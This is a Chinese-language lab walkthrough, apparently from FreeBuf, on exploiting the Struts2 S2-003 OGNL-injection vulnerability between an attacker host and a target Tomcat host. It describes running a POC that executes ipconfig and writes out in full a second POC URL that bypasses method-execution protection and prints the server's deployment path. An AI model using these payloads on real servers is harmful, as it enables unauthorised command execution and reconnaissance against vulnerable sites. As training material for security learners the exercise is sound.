Struts2框架漏洞
【实验目的】
使用POC分别对Struts-S2-003进行利用,获取站点框架部署信息。
【知识点】
Struts2、POC。
【实验原理】
Struts2是一个基于MVC设计模式的web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器来建立模型与视图的数据交互,相对于其它框架来说,Struts框架是漏洞之王。
Struts-S2-003该漏洞允许恶意用户绕过ParametersInterceptor内置的“#”使用保护,从而能够操纵服务器端上下文对象。
【实验设备】
主机终端: Windows2008主机* 2台
【实验拓扑】
实验拓扑如下图所示。

【实验思路】
Struts-S2-003利用。
【实验步骤】
1. Struts-S2-003利用
(1) 登录拓扑图右侧的目标主机,账号/密码:administrator/com.1234,双击桌面右下角Tomcat图标,单击Start按钮,再单击【确定】按钮,开启Tomcat服务。如图所示。

(2) 登录拓扑图左侧的攻击端主机,账号/密码:administraotr/com.1234,双击桌面左侧Friefox图标,打开火狐浏览器,访问http://192.168.1.10:8080/struts2-showcase-2.0.1/showcase.action,如图所示。

(3) 利用构造好的POC执行ipconfig命令,查看靶机IP等信息。将以下POC复制到浏览器中进行访问。或者直接将桌面poc.txt文件中的POC1(showcase.action)的内容复制,如图所示。

(3) 在浏览器地址栏中粘贴POC,执行该POC后,弹出【正在打开showcase.action】对话框,选中【保存文件(S)】前的单选按钮,再单击对话框的【确定】按钮,保存至本地,如图所示。

(4) 打开【下载】文件夹,如图所示。右击showcase.action文件,选中【打开方式(H)】→Edit with Notepad++,使用Notepad++打开文件,如图所示。


(5) 如图所示,文件内容包含目标主机的IP等信息。

(6) 或者执行另一种POC,获取部署路径,POC如下:
http://192.168.1.10:8080/struts2-showcase-2.0.1/showcase.action?(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%[email protected]@getRequest()')(d))&(i2)(('%5C43xman%[email protected]@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
(7) 也可以直接将桌面poc.txt中POC2的内容复制到浏览器中执行,如图所示。

(8) 浏览器返回结果如图所示,返回部署路径。

已在FreeBuf发表 0 篇文章
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf
客服小蜜蜂(微信:freebee1024)

